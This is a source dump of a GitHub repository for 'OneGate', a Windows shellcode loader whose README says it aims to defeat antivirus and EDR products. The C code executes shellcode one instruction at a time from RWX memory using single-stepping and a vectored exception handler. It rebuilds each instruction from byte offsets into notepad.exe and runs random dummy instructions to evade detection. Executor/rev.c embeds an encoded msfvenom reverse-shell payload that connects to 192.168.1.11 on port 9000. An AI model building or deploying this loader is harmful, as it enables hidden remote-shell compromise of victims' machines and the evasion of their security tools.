254 | //if the exception occurs outside our shellcode space do nothing 255 | if (ExceptionInfo->ContextRecord->Rip < (DWORD64)baseAddress || ExceptionInfo->ContextRecord->Rip > upperBound) { 256 | 257 | return EXCEPTION_CONTINUE_EXECUTION; 258 | } 259 | 260 | PBYTE pPayloadBuffer = NULL; 261 | 262 | memcpy(oldRIP, pBullshitBuffer, bytesInBullshitBuffer); 263 | 264 | printf("RIP is at %p\n", ExceptionInfo->ContextRecord->Rip); 265 | 266 | //determine position in Payload for next instruction 267 | //this should account for jumps as well as for loops where we are moving backward 268 | payloadPosition = payloadPosition + (ExceptionInfo->ContextRecord->Rip - oldRIP); 269 | 270 | //determine the position in bytesPerLine 271 | int total = 0; 272 | for (int j = 0; j < sizeOfBytesPerLine; j++) { 273 | total = total + bytesPerLine[j]; 274 | if (total == payloadPosition) { 275 | bytesPerLineTracker = j + 1; //+1 because the array starts at 0 276 | } 277 | } 278 | 279 | //save what is currently at the next instruction position 280 | //set size of bullshitBuffer 281 | bytesInBullshitBuffer = bytesPerLine[bytesPerLineTracker]; 282 | pBullshitBuffer = malloc(sizeof(BYTE) * bytesInBullshitBuffer); 283 | //copy the bytes that will be overwritten by the next instruction 284 | memcpy(pBullshitBuffer, ExceptionInfo->ContextRecord->Rip, bytesPerLine[bytesPerLineTracker]); 285 | 286 | //get the next instruction 287 | BytesToBin(payloadPosition, bytesPerLineTracker, &pPayloadBuffer); 288 | 289 | //write the next instruction 290 | memcpy(ExceptionInfo->ContextRecord->Rip, pPayloadBuffer, bytesPerLine[bytesPerLineTracker]); 291 | 292 | //also set oldRIP to this new one for the purpose of zeroing it out on the next run 293 | oldRIP = ExceptionInfo->ContextRecord->Rip; 294 | 295 | //randomy insert dummy instruction (only commence this if we are not already in a dummy instruction loop) 296 | int random = rand() % 100; 297 | printf("random: %d\n", random); 298 | 299 | //this sets the frequency of dummy code - currently set to 2% 300 | if (random < 2) { 301 | //going into a dummy instruction loop 302 | doingDummy = TRUE; 303 | 304 | printf("Rip is at breakpoint address: %p\n", ExceptionInfo->ContextRecord->Rip); 305 | printf("Commencing dummy instruction execution...\n"); 306 | 307 | //save the current thread context 308 | memcpy(&ctx, ExceptionInfo->ContextRecord, sizeof(CONTEXT)); 309 | CreateDummyCode(); 310 | //point RIP at the dummy set of instructions 311 | ExceptionInfo->ContextRecord->Rip = dummyAddress; 312 | 313 | return EXCEPTION_CONTINUE_EXECUTION; 314 | } 315 | 316 | return EXCEPTION_CONTINUE_EXECUTION; 317 | } 318 | 319 | return EXCEPTION_CONTINUE_SEARCH; 320 | } 321 | 322 | 323 | int main() { 324 | 325 | //seed the random number generator 326 | srand(time(0)); 327 | 328 | //generate random offset from where VirtualAlloc has allocated memory 329 | int sizeOfPayload = sizeof(Positions) / sizeof(Positions[0]); 330 | DWORD64 randomOffset = rand() % (4096 - sizeOfPayload); 331 | 332 | //allocate one page of memory for the payload 333 | PVOID rootAddress = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 334 | if (rootAddress == NULL) { 335 | printf("[!] Failed to allocate memory. VirtualAlloc failed with error %d\n", GetLastError()); 336 | return -1; 337 | } 338 | 339 | printf("[i] Memory allocated at: %p\n", rootAddress); 340 | 341 | //fill the memory block with bullshit 342 | writeMemoryBlock(rootAddress); 343 | 344 | //add the VEH 345 | HANDLE vh1 = AddVectoredExceptionHandler(1, BreakpointHandler); 346 | 347 | //create the thread suspended 348 | DWORD threadID = NULL; 349 | HANDLE hThread = CreateThread(NULL, NULL, rootAddress, NULL, CREATE_SUSPENDED, &threadID); 350 | if (!hThread) { 351 | printf("[!] Failed to create thread. Error %d\n", GetLastError()); 352 | return -1; 353 | } 354 | 355 | printf("The threadID is: %d\n\n", threadID); 356 | 357 | //set the context flag for single step execution 358 | CONTEXT ctx = { .ContextFlags = CONTEXT_ALL }; 359 | 360 | if (!GetThreadContext(hThread, &ctx)) { 361 | printf("[!] Failed to get thread context. GetThreadContext failed with error %d\n", GetLastError()); 362 | return -1; 363 | } 364 | 365 | ctx.EFlags |= (1 << 8); 366 | 367 | if (!SetThreadContext(hThread, &ctx)) { 368 | printf("[!] Failed to set thread context. SetThreadContext failed with error %d\n", GetLastError()); 369 | return -1; 370 | } 371 | 372 | //set the upperBound for use in the veh and oldRIP which is used in there too 373 | (DWORD64)baseAddress = (DWORD64)rootAddress + randomOffset; //set a random starting address for the payload inside the newly allocated memory 374 | upperBound = (DWORD64)rootAddress + (DWORD64)4096; //this is the end of the allocat page 375 | oldRIP = baseAddress; 376 | 377 | //set the out of bounds area with two conditions: 378 | // must not intersect with the payload working area (plus 100 bytes before) 379 | // must not be within 100 bytes of the end of the memory block 380 | DWORD64 payloadStart = (DWORD64)baseAddress - 100; 381 | DWORD64 payloadEnd = (DWORD64)baseAddress + sizeOfPayload; 382 | 383 | do { 384 | (DWORD64)dummyAddress = (DWORD64)rootAddress + (rand() % 4096); 385 | } while (((DWORD64)dummyAddress > payloadStart && (DWORD64)dummyAddress < payloadEnd) || (DWORD64)dummyAddress > (upperBound - 100)); 386 | 387 | 388 | printf("Payload working area starts at: %p\n", baseAddress); 389 | printf("Dummy Instruction Address is: %p\n\n", dummyAddress); 390 | 391 | ResumeThread(hThread); 392 | WaitForSingleObject(hThread, INFINITE); 393 | 394 | printf("[i] Execution complete. Press to exit..."); 395 | getchar(); 396 | 397 | CloseHandle(hThread); 398 | 399 | return 0; 400 | } 401 | -------------------------------------------------------------------------------- /Executor/rev.c: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | 3 | #include 4 | #include 5 | 6 | // ------------------- DO NOT EDIT ABOVE HERE -------------------------------------------- // 7 | // Insert the Position[] and the bytesPerLine[] generated by the constructor below 8 | // Make sure to point bFilePath to the same file used by the constructor 9 | 10 | PBYTE bFilePath = "C:\\Windows\\System32\\notepad.exe"; //the file the constructor used to build the arrays 11 | 12 | //msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=9000 constructed from notepad.exe 13 | const unsigned int Positions[] = { 14 | 15 | 2320, 1035, 1083, 1140, 276, 488, 296, 3, 3, 3, 1654, 2590, 1654, 256, 224, 2590, 16 | 2278, 1035, 2299, 1369, 99, 1035, 1033, 224, 350, 1035, 1033, 224, 476, 1035, 1033, 224, 17 | 82, 1035, 1033, 84, 256, 1035, 1355, 1582, 581, 581, 1500, 2299, 497, 1035, 2299, 296, 18 | 441, 2000, 88, 265, 281, 2837, 82, 1654, 351, 497, 117, 1654, 61, 351, 2458, 2347, 19 | 224, 1654, 2590, 1035, 1033, 224, 82, 1033, 799, 2000, 1035, 61, 401, 1033, 337, 568, 20 | 3, 3, 3, 1035, 1426, 296, 96, 86, 1035, 61, 401, 256, 1033, 1035, 476, 108, 21 | 1033, 24, 82, 1068, 61, 401, 5633, 2278, 1035, 12, 497, 1654, 1033, 1661, 568, 1035, 22 | 61, 148, 1500, 2299, 497, 1035, 2299, 296, 441, 1654, 351, 497, 117, 1654, 61, 351, 23 | 1674, 289, 102, 1111, 75, 4, 75, 120, 354, 257, 1438, 3008, 102, 264, 1134, 108, 24 | 1033, 24, 120, 1068, 61, 401, 473, 1654, 1033, 737, 1035, 108, 1033, 24, 1439, 1068, 25 | 61, 401, 1654, 1033, 8, 568, 1035, 61, 401, 1654, 1134, 1654, 1134, 3349, 2243, 1, 26 | 1654, 1134, 1654, 2243, 1654, 1, 1035, 1083, 156, 82, 1654, 224, 12, 289, 1134, 1654, 27 | 2243, 1, 1035, 1033, 657, 2119, 1045, 12, 12, 12, 1477, 1068, 7248, 131, 81, 3165, 28 | 1466, 1050, 3165, 3, 3, 1654, 2278, 1068, 1053, 132, 1035, 267, 156, 1122, 61, 3, 29 | 3, 1068, 1053, 164, 1068, 2852, 281, 3, 1824, 1570, 296, 1102, 61, 280, 1654, 78, 30 | 1068, 1053, 1140, 75, 1053, 1111, 1654, 66, 75, 131, 2950, 262, 12, 4055, 75, 1053, 31 | 2466, 79, 61, 61, 3, 3, 2243, 1654, 66, 1609, 337, 1153, 3, 12, 4055, 256, 32 | 256, 1500, 2299, 497, 1500, 2299, 296, 1035, 12, 296, 1035, 1053, 1668, 1035, 12, 296, 33 | 1035, 1053, 351, 1654, 66, 2466, 1355, 1393, 289, 12, 4055, 1035, 1053, 1088, 10386, 301, 34 | 1654, 1134, 75, 1053, 2458, 1035, 1053, 188, 1654, 66, 7779, 5899, 96, 88, 12, 4055, 35 | 1035, 267, 1051, 24, 281, 3, 3, 1068, 16, 91, 89, 114, 3, 3, 3, 3, 36 | 3, 1654, 256, 1654, 256, 1035, 1053, 2458, 1045, 1045, 1045, 1500, 2299, 296, 10386, 117, 37 | 2243, 1654, 256, 2458, 2320, 473, 1088, 108, 120, 78, 61, 61, 1035, 1100, 108, 120, 38 | 476, 2444, 3, 79, 1035, 1053, 132, 2278, 256, 1654, 256, 1654, 256, 1654, 256, 1068, 39 | 12, 296, 1654, 256, 1068, 12, 400, 1500, 1053, 351, 75, 1053, 351, 1654, 66, 2147, 40 | 1024, 2285, 261, 12, 4055, 1035, 2299, 1369, 1035, 12, 2346, 1033, 64, 1654, 66, 354, 41 | 3767, 2029, 350, 12, 4055, 2561, 289, 2029, 1310, 119, 1654, 66, 5742, 130, 5662, 1999, 42 | 12, 4055, 1035, 1083, 1051, 1570, 2000, 202, 265, 119, 337, 134, 289, 102, 1044, 2561, 43 | 2032, 129, 84, 85, 10386, 3, 2243, 1654, 1053, 1562, 12, 4055 44 | }; 45 | 46 | const unsigned int bytesPerLine[] = { 47 | 48 | 1, 4, 5, 2, 2, 1, 1, 1, 3, 5, 4, 4, 4, 5, 3, 3, 49 | 1, 2, 2, 2, 4, 3, 2, 1, 2, 4, 3, 3, 6, 3, 2, 3, 50 | 1, 3, 4, 3, 2, 3, 4, 3, 3, 3, 1, 4, 3, 2, 2, 5, 51 | 3, 2, 1, 4, 3, 5, 4, 3, 4, 3, 2, 2, 1, 1, 1, 2, 52 | 2, 2, 4, 2, 2, 1, 2, 1, 3, 5, 1, 10, 2, 3, 7, 3, 53 | 10, 2, 3, 3, 6, 2, 3, 5, 1, 6, 2, 1, 1, 3, 3, 3, 54 | 3, 3, 3, 6, 2, 3, 2, 2, 3, 3, 6, 2, 7, 10, 2, 2, 55 | 3, 1, 1, 1, 3, 2, 1, 2, 2, 7, 5, 3, 3, 1, 1, 2, 56 | 2, 2, 3, 2, 3, 3, 3, 6, 2, 3, 3, 2, 6, 2, 5, 6, 57 | 2, 4, 2, 2, 3, 2, 5, 2, 1, 3, 2, 58 | }; 59 | 60 | // ------------------- DO NOT EDIT BELOW HERE -------------------------------------------- // 61 | 62 | //array of instructions from which random instruction execution is pulled 63 | //Also used by writeMemoryBlock() function to fill memory block on first pass 64 | const unsigned char instruction[21][3] = { 65 | {0x48, 0x89, 0xD8}, 66 | {0x48, 0xFF, 0xC0}, 67 | {0x49, 0x89, 0xC4}, 68 | {0x49, 0x39, 0xC4}, 69 | {0x48, 0x31, 0xC0}, 70 | {0x49, 0xFF, 0xCC}, 71 | {0x49, 0xFF, 0xCC}, 72 | {0x48, 0xFF, 0xC3}, 73 | {0x48, 0xFF, 0xC8}, 74 | {0x48, 0x01, 0xCB}, 75 | {0x49, 0x29, 0xC9}, 76 | {0x48, 0x39, 0xC3}, 77 | {0x4D, 0x31, 0xD2}, 78 | {0x48, 0x31, 0xC0}, 79 | {0x48, 0xFF, 0xC1}, 80 | {0x48, 0xFF, 0xC9}, 81 | {0x4D, 0x31, 0xD2}, 82 | {0x48, 0x39, 0xC3}, 83 | {0x49, 0x01, 0xCC}, 84 | {0x48, 0x01, 0xCB}, 85 | {0x4D, 0x31, 0xD2} 86 | }; 87 | 88 | DWORD64 bytesPerLineTracker = 0; //this keeps track of where we are in the bytesPerLine array 89 | DWORD64 payloadPosition = 0; //this is a tracker for where we are in the Payload Array 90 | int sizeOfBytesPerLine = (sizeof(bytesPerLine) / sizeof(bytesPerLine[0])); 91 | 92 | PVOID baseAddress = NULL; //base address of the payload 93 | DWORD64 upperBound = NULL; //the upper bound of the payload (end of allocated memory page) 94 | PVOID dummyAddress = NULL; 95 | 96 | BOOL FirstRun = TRUE; //used for the first time the VEH runs 97 | 98 | DWORD64 oldRIP = NULL; //position of the RIP on the previous instruction so it can zero out that memory 99 | DWORD64 nextRIP = NULL; //the RIP where the next valid instruction will be executed from 100 | DWORD64 currentRIP = NULL; //the RIP where the valid instruction was executed so that the dummy instruction can be executed from the same place 101 | 102 | CONTEXT ctx = { .ContextFlags = CONTEXT_CONTROL }; //saves the thread context so it can be resoted after dummy instructions 103 | 104 | PBYTE pBullshitBuffer = NULL; //used to store the bytes that are overwritten by the next instruction so they can be written back 105 | SIZE_T bytesInBullshitBuffer = 0; //stores the number of bytes to write back 106 | PBYTE pDummyWriteBuffer = NULL; //used to store the bytes that the dummy instruction generator overwrites so they can be written back 107 | int sizeDummyWriteBuffer = 0; //stores the number of bytes to write back 108 | 109 | BOOL doingDummy = FALSE; //this keeps track of whether we are in the process of doing a dummy instruction loop 110 | //so that it does not try and execute a dummy instruction loop in the middle of another 111 | //dummy instruction loop because this breaks the program 112 | 113 | 114 | BOOL CreateDummyCode() { 115 | 116 | PBYTE PayloadBuffer = malloc(sizeof(BYTE) * 16 * 20); 117 | 118 | //choose how many instructions we are going to use for the dummy code 119 | int numberOfInstructions = (rand() % 19) + 1; 120 | printf("Using %d instructions\n\n", numberOfInstructions); 121 | int tracker = 0; 122 | 123 | //choose the instructions 124 | for (int i = 0; i < numberOfInstructions; i++) { 125 | int chosenInstruction = (rand() % 19) + 1; 126 | printf("Chosen instruction number: %d\n", chosenInstruction); 127 | for (int j = 0; j < 3; j++) { //this is hard coded for only instructions with 3 bytes 128 | PayloadBuffer[tracker] = instruction[chosenInstruction][j]; 129 | printf("%02x \n", PayloadBuffer[tracker]); 130 | tracker++; 131 | } 132 | } 133 | 134 | //add INT3 breakpoint at the end 135 | PayloadBuffer[tracker] = 0xCC; 136 | 137 | //show the instructions 138 | printf("The chosen instructions are:\n"); 139 | for (int j = 0; j < tracker + 1; j++) { 140 | printf("%02x, ", PayloadBuffer[j]); 141 | } 142 | printf("\n\n"); 143 | 144 | //save what was originally there so it can be restored 145 | sizeDummyWriteBuffer = tracker + 1; 146 | pDummyWriteBuffer = malloc(sizeof(BYTE) * 16 * 20); 147 | memcpy(pDummyWriteBuffer, dummyAddress, sizeDummyWriteBuffer); 148 | 149 | //write new dummy instruction 150 | memcpy(dummyAddress, PayloadBuffer, tracker + 1); 151 | } 152 | 153 | //function to fill the allocated memory block with random instructions - used on the first pass only 154 | BOOL writeMemoryBlock(PVOID baseAddress) { 155 | DWORD64 writeOffset = 0; 156 | 157 | while (writeOffset < 4093) { //write offset is one whole memory block (4096 bytes) minus the size of one instruction (3 bytes) 158 | //choose a random instruction 159 | int chosenInstruction = (rand() % 19) + 1; 160 | memcpy((DWORD64)baseAddress + writeOffset, instruction[chosenInstruction], 3); 161 | 162 | writeOffset += 3; 163 | } 164 | 165 | } 166 | 167 | BOOL BytesToBin(int positionNumber, int numberOfInstructions, PBYTE* bPayloadBuffer) { 168 | 169 | PBYTE filePath = bFilePath; 170 | 171 | FILE* file = NULL; 172 | SIZE_T bytesRead = 0; //for comparing to fileSize to ensure all bytes are read 173 | SIZE_T fileSize = NULL; //size of file being read 174 | PBYTE PayloadBuffer = NULL; //buffer to hold the bytes - max 16 bytes in one instruction 175 | 176 | PayloadBuffer = malloc(sizeof(BYTE) * 16); 177 | 178 | //open file 179 | file = fopen(filePath, "rb"); 180 | if (!file) { 181 | printf("[!] Error opening file. fopen failed with error %d\n", GetLastError()); 182 | return FALSE; 183 | } 184 | 185 | //iterate through file and find the bytes in position number for the number of instructions required 186 | for (int i = 0; i < bytesPerLine[numberOfInstructions]; i++) { 187 | fseek(file, Positions[positionNumber + i], SEEK_SET); 188 | fread(&PayloadBuffer[i], sizeof(byte), 1, file); 189 | printf("%02x ", PayloadBuffer[i]); 190 | bytesRead++; 191 | } 192 | printf("\n"); 193 | 194 | //make sure it read correctly 195 | if (bytesRead != bytesPerLine[numberOfInstructions]) { 196 | printf("[!] An error occurred reading the bytes: Error %d\n", GetLastError()); 197 | fclose(file); 198 | return FALSE; 199 | } 200 | 201 | //cleanup 202 | if (file) { 203 | fclose(file); 204 | } 205 | 206 | *bPayloadBuffer = PayloadBuffer; 207 | 208 | printf("\n"); 209 | 210 | return TRUE; 211 | } 212 | 213 | LONG CALLBACK BreakpointHandler(PEXCEPTION_POINTERS ExceptionInfo) { 214 | 215 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8); 216 | 217 | if (FirstRun == TRUE) { 218 | //they should already be 0 but just double checking 219 | bytesPerLineTracker = 0; 220 | payloadPosition = 0; 221 | 222 | FirstRun = FALSE; 223 | } 224 | 225 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) { 226 | printf("\nGot an exception violation error :(\nRun the program again\n"); 227 | //return EXCEPTION_CONTINUE_EXECUTION; 228 | return EXCEPTION_CONTINUE_SEARCH; 229 | } 230 | 231 | //used to deal with the end of the execution of dummy instructions 232 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) { 233 | 234 | //set the CONTEXT back to where it is supposed to be to continue shellcode execution 235 | memcpy(ExceptionInfo->ContextRecord, &ctx, sizeof(CONTEXT)); 236 | 237 | printf("The RIP is now back at: %p\n", ExceptionInfo->ContextRecord->Rip); 238 | printf("Continuing shellcode exection\n"); 239 | 240 | //zero out dummy memory 241 | memcpy(dummyAddress, pDummyWriteBuffer, sizeDummyWriteBuffer); 242 | 243 | //dummy instruction loop complete 244 | doingDummy = FALSE; 245 | 246 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8); 247 | 248 | return EXCEPTION_CONTINUE_EXECUTION; 249 | } 250 | 251 | //if we are executing a dummy instruction ignore the single stepping and move on - the end of the dummy instruction is signlled by an INT3 252 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && doingDummy == TRUE) { 253 | return EXCEPTION_CONTINUE_EXECUTION; 254 | } 255 | 256 | 257 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && doingDummy == FALSE) { 258 | 259 | //single step execution is disabled each run so reset it 260 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8); 261 | 262 | //if the exception occurs outside our shellcode space do nothing 263 | if (ExceptionInfo->ContextRecord->Rip < (DWORD64)baseAddress || ExceptionInfo->ContextRecord->Rip > upperBound) { 264 | 265 | return EXCEPTION_CONTINUE_EXECUTION; 266 | } 267 | 268 | PBYTE pPayloadBuffer = NULL; 269 | 270 | memcpy(oldRIP, pBullshitBuffer, bytesInBullshitBuffer); 271 | 272 | printf("RIP is at %p\n", ExceptionInfo->ContextRecord->Rip); 273 | 274 | //determine position in Payload for next instruction 275 | //this should account for jumps as well as for loops where we are moving backward 276 | payloadPosition = payloadPosition + (ExceptionInfo->ContextRecord->Rip - oldRIP); 277 | 278 | //determine the position in bytesPerLine 279 | int total = 0; 280 | for (int j = 0; j < sizeOfBytesPerLine; j++) { 281 | total = total + bytesPerLine[j]; 282 | if (total == payloadPosition) { 283 | bytesPerLineTracker = j + 1; //+1 because the array starts at 0 284 | } 285 | } 286 | 287 | //save what is currently at the next instruction position 288 | //set size of bullshitBuffer 289 | bytesInBullshitBuffer = bytesPerLine[bytesPerLineTracker]; 290 | pBullshitBuffer = malloc(sizeof(BYTE) * bytesInBullshitBuffer); 291 | //copy the bytes that will be overwritten by the next instruction 292 | memcpy(pBullshitBuffer, ExceptionInfo->ContextRecord->Rip, bytesPerLine[bytesPerLineTracker]); 293 | 294 | //get the next instruction 295 | BytesToBin(payloadPosition, bytesPerLineTracker, &pPayloadBuffer); 296 | 297 | //write the next instruction 298 | memcpy(ExceptionInfo->ContextRecord->Rip, pPayloadBuffer, bytesPerLine[bytesPerLineTracker]); 299 | 300 | //also set oldRIP to this new one for the purpose of zeroing it out on the next run 301 | oldRIP = ExceptionInfo->ContextRecord->Rip; 302 | 303 | //randomy insert dummy instruction (only commence this if we are not already in a dummy instruction loop) 304 | int random = rand() % 100; 305 | printf("random: %d\n", random); 306 | 307 | //this sets the frequency of dummy code - currently set to 2% 308 | if (random < 2) { 309 | //going into a dummy instruction loop 310 | doingDummy = TRUE; 311 | 312 | printf("Rip is at breakpoint address: %p\n", ExceptionInfo->ContextRecord->Rip); 313 | printf("Commencing dummy instruction execution...\n"); 314 | 315 | //save the current thread context 316 | memcpy(&ctx, ExceptionInfo->ContextRecord, sizeof(CONTEXT)); 317 | CreateDummyCode(); 318 | //point RIP at the dummy set of instructions 319 | ExceptionInfo->ContextRecord->Rip = dummyAddress; 320 | 321 | return EXCEPTION_CONTINUE_EXECUTION; 322 | } 323 | 324 | return EXCEPTION_CONTINUE_EXECUTION; 325 | } 326 | 327 | return EXCEPTION_CONTINUE_SEARCH; 328 | } 329 | 330 | 331 | int main() { 332 | 333 | //seed the random number generator 334 | srand(time(0)); 335 | 336 | //generate random offset from where VirtualAlloc has allocated memory 337 | int sizeOfPayload = sizeof(Positions) / sizeof(Positions[0]); 338 | DWORD64 randomOffset = rand() % (4096 - sizeOfPayload); 339 | 340 | //allocate one page of memory for the payload 341 | PVOID rootAddress = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 342 | if (rootAddress == NULL) { 343 | printf("[!] Failed to allocate memory. VirtualAlloc failed with error %d\n", GetLastError()); 344 | return -1; 345 | } 346 | 347 | printf("[i] Memory allocated at: %p\n", rootAddress); 348 | 349 | //fill the memory block with bullshit 350 | writeMemoryBlock(rootAddress); 351 | 352 | //add the VEH 353 | HANDLE vh1 = AddVectoredExceptionHandler(1, BreakpointHandler); 354 | 355 | //create the thread suspended 356 | DWORD threadID = NULL; 357 | HANDLE hThread = CreateThread(NULL, NULL, rootAddress, NULL, CREATE_SUSPENDED, &threadID); 358 | if (!hThread) { 359 | printf("[!] Failed to create thread. Error %d\n", GetLastError()); 360 | return -1; 361 | } 362 | 363 | printf("The threadID is: %d\n\n", threadID); 364 | 365 | //set the context flag for single step execution 366 | CONTEXT ctx = { .ContextFlags = CONTEXT_ALL }; 367 | 368 | if (!GetThreadContext(hThread, &ctx)) { 369 | printf("[!] Failed to get thread context. GetThreadContext failed with error %d\n", GetLastError()); 370 | return -1; 371 | } 372 | 373 | ctx.EFlags |= (1 << 8); 374 | 375 | if (!SetThreadContext(hThread, &ctx)) { 376 | printf("[!] Failed to set thread context. SetThreadContext failed with error %d\n", GetLastError()); 377 | return -1; 378 | } 379 | 380 | //set the upperBound for use in the veh and oldRIP which is used in there too 381 | (DWORD64)baseAddress = (DWORD64)rootAddress + randomOffset; //set a random starting address for the payload inside the newly allocated memory 382 | upperBound = (DWORD64)rootAddress + (DWORD64)4096; //this is the end of the allocat page 383 | oldRIP = baseAddress; 384 | 385 | //set the out of bounds area with two conditions: 386 | // must not intersect with the payload working area (plus 100 bytes before) 387 | // must not be within 100 bytes of the end of the memory block 388 | DWORD64 payloadStart = (DWORD64)baseAddress - 100; 389 | DWORD64 payloadEnd = (DWORD64)baseAddress + sizeOfPayload; 390 | 391 | do { 392 | (DWORD64)dummyAddress = (DWORD64)rootAddress + (rand() % 4096); 393 | } while (((DWORD64)dummyAddress > payloadStart && (DWORD64)dummyAddress < payloadEnd) || (DWORD64)dummyAddress > (upperBound - 100)); 394 | 395 | 396 | printf("Payload working area starts at: %p\n", baseAddress); 397 | printf("Dummy Instruction Address is: %p\n\n", dummyAddress); 398 | 399 | ResumeThread(hThread); 400 | WaitForSingleObject(hThread, INFINITE); 401 | 402 | printf("[i] Execution complete. Press to exit..."); 403 | getchar(); 404 | 405 | CloseHandle(hThread); 406 | 407 | return 0; 408 | } -------------------------------------------------------------------------------- /OneGate.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33829.357 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Constructor", "Constructor\Constructor.vcxproj", "{AC507B99-156F-4280-BC0B-77B4057A3624}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Executor", "Executor\Executor.vcxproj", "{E309EF7C-30D2-4F7D-B203-FA86A692E6C8}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Debug|x64.ActiveCfg = Debug|x64 19 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Debug|x64.Build.0 = Debug|x64 20 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Debug|x86.ActiveCfg = Debug|Win32 21 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Debug|x86.Build.0 = Debug|Win32 22 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Release|x64.ActiveCfg = Release|x64 23 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Release|x64.Build.0 = Release|x64 24 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Release|x86.ActiveCfg = Release|Win32 25 | {AC507B99-156F-4280-BC0B-77B4057A3624}.Release|x86.Build.0 = Release|Win32 26 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Debug|x64.ActiveCfg = Debug|x64 27 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Debug|x64.Build.0 = Debug|x64 28 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Debug|x86.ActiveCfg = Debug|Win32 29 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Debug|x86.Build.0 = Debug|Win32 30 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Release|x64.ActiveCfg = Release|x64 31 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Release|x64.Build.0 = Release|x64 32 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Release|x86.ActiveCfg = Release|Win32 33 | {E309EF7C-30D2-4F7D-B203-FA86A692E6C8}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {1C176296-0190-44D5-9C04-75E23B905BF3} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OneGate 2 | Yet another shellcode loader - but a sneaky one 3 | 4 | 5 | Image 6 | 7 | 8 | This is a combination of my earlier shellcode obfuscation project [WhenAPayloadCalls](https://github.com/b0bd0g/WhenAPayloadCalls) but now with a custom shellcode loader which aims to defeat antivirus and EDR solutions. 9 | 10 | The intent was to use the most obvious WinAPIs possible while also using the least amount of evasion techniques and still have it defeat AV/EDR. As such it uses: 11 | 12 | - VirtualAlloc to alloate RWX memory 13 | - No use of VirtualProtect to flip memory protections - just does everything inside RWX memory 14 | - Uses CreateThread to run 15 | - No sandbox evasion 16 | 17 | **NOTE**: This is meant to be more of a proof of concept of the technique as opposed to an off the shelf solution, so don't expect to be able to pick it up and have it work for everything 18 | 19 | ## How it works 20 | 21 | There are two parts to OneGate - the constructor and the executor (OneGate): 22 | 23 | ### Constructor 24 | 25 | Get some shellcode and put it in the `const unsigned char Payload[] {}` located in `constructor.c`. There are already two examples in there for a calc.exe shellcode and a reverse shell, both generated by MSFVenom. 26 | 27 | The basic method of obfuscating the shellcode comes from WhenAPayloadCalls. This is a shellcode obfuscation technique using a file which already exists on the target computer. You will need an **EXACT** byte for byte copy of the file you are targeting. As such this is not meant as a general "out of the box" obfuscation technique, but rather one that is specifically tailored to that specific target system. It is also possible to upload your own file to the target system and use that to generate your payload. 28 | 29 | Pick a file on the attacker's machine (this is why you need an exact byte for byte copy of a file on the victim's machine) that you want to use. The program will iterate through the chosen file and look for the bytes in the shellcode, noting down the position of each one. For example if the first byte is `FC`, it will search the target file for the byte `FC` and print out the position in the target file at which it is found (on my system using the target file `notepad.exe` the byte `FC` is the `266`th byte in notepad). If the program cannot find the byte it will say so. This generates the `Positions[]` array. 30 | 31 | Using the Zydis (https://github.com/zyantific/zydis) it will iterate through the shellcode and determine the number of bytes in each instruction generating an array called `bytesPerLine[]`. 32 | 33 | A sample output of the constructor is as follows: 34 | 35 | Image 36 | 37 | 38 | ### OneGate (the executor) 39 | 40 | OneGate first allocates a memory page and fills it with random instructions. It randomly allocates a starting position for the shellcode within this memory page so that the shellcode doesn't start in the same place each time. 41 | 42 | It then opens the file that is being used to perform the byte deobfuscation and iterates through `Postitions[]` and only decrptys the number of bytes needed for that particular instruction. This way only the exact bytes required for the next instruction are ever revealed at any given time. These bytes are written to their correct plce in the memory page (overwriting what is already there) and executed using single setpping. Once an instruction is executed the original bytes that were overwritten are written back to their place in the memory page. Therefore not only are the bytes only exposed for the minimum amount of time, but unless the defence system can catch the modification in time, it will appear as though nothing changed on the memory page at that particular address. 43 | 44 | To defeat any register based pattern recognition which may be used by EDRs, at random intervals OneGate generates a random set of instructions and executes them - these are referred to as dummy instructions. The current rate is 2% but this can be modified easily. A stable of instructions are held in the `instructions[][]` array. It will select a random number of instructions to use for each given 